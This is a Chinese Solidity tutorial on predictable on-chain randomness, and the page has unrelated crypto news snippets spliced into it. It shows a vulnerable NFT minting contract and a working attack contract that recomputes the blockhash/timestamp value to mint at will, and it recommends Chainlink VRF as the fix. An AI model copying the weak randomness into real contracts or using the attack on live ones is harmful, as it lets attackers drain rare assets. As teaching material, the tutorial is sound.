我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。
這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。
很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。
壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
Web3開源大學WTF Academy獲得以太坊基金資助:1月2日消息,Web3開源大學WTF Academy宣布獲得以太坊基金資助。這筆資金將用于創作開源Solidity教程(中英文)、教學視頻和測試網站。
據悉,WTF Academy的目標是引導10,000名開發者進入Web3領域。[2023/1/3 22:21:26]
下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。
contract BadRandomness is ERC721 { uint256 totalSupply; // 構造函數,初始化NFT合集的名稱、代號 constructor() ERC721("", ""){} // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。
goblintown.wtf系列NFT24小時交易額增長超300%:金色財經報道,OpenSea最新數據顯示,goblintown.wtf系列NFT過去24小時的交易額為114 ETH,增長率為302%。24小時交易額排名位列OpenSea第12。[2022/10/10 12:50:58]
下面我們寫個攻擊合約 Attack.sol。
contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前計算隨機數 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻擊 nftAddr.luckyMint(luckyNumber); }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。
OpenSea上Goblintown.wtf NFT系列地板價達到8ETH:6月2日消息,據OpenSea數據,目前Goblintown.wtf NFT系列地板價今日最高漲至9ETH,目前為8ETH,近7日交易量逾13135枚ETH,累計交易量為21800枚ETH。[2022/6/2 3:58:52]
由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。
部署 BadRandomness 合約。
部署 Attack 合約。
將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。
調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。
我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
goblintown.wtf NFT系列地板價突破8ETH,24小時交易額排名達到第一:金色財經消息,據OpenSea數據顯示,goblintown.wtf NFT系列地板價突破8ETH,目前為8.2ETH,24小時的交易額為4997.18ETH,24小時交易額在OpenSea排名達到第一。[2022/6/2 3:58:03]
這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
社區:Discord|微信群|官網 wtf.academy
所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity
來源:bress
Bress
個人專欄
fees.wtf已開放Discord頻道并將24小時內公布空投合約地址:1月12日消息,Gas使用統計查詢網站fees.wtf在其社交網站公布 Discord 頻道,并宣布將于24小時內公布空投相關合約地址。
fees.wtf 曾于1月4日宣布將發行 Token 空投,合約在激活前將會有倒計時以確保公平。[2022/1/12 8:43:35]
閱讀更多
金色早8點
比推 Bitpush News
Foresight News
PANews
Delphi Digital
區塊鏈騎士
深潮TechFlow
鏈捕手
區塊律動BlockBeats
DeFi之道
從 PC 互聯網時代、移動互聯網時代和產業互聯網時代。在互聯網大潮發展過程中,騰訊先后提出了“在線生活戰略”、“連接一切戰略”和“ C 端到 B 端轉型戰略”,每次戰略的調整總會伴隨組織和業務架.
1900/1/1 0:00:00原文作者:Ari JuelsAri Juels是紐約康奈爾大學的教授,也是IC3的聯合董事。另外,他還是Chainlink Labs的首席科學家.
1900/1/1 0:00:00撰文:Sectio Divina編譯:aididiaojp.eth,Foresight News「這個項目現在已經有 1 億美元市值了.
1900/1/1 0:00:00去年的 GameFi 領域發生了很多事情。雖然 Axie Infinity 和 The Sandbox 仍舊占據著最多的頭條新聞,但幾個不為大眾所知的項目得到了許多玩家的青睞.
1900/1/1 0:00:002022年加密市場的崩潰始于Terra,并蔓延到主要的CeFi參與者,例如3AC、BlockFi、Celsius、FTX/Alameda,以及最近的DCG.
1900/1/1 0:00:00▌CZ:行業復蘇基金或多達20億美元11月17日消息,TechCrunch記者JacquelynMelinek在個人社交媒體表示,Binance創始人CZ表示一直在對行業復蘇基金進行討論.
1900/1/1 0:00:00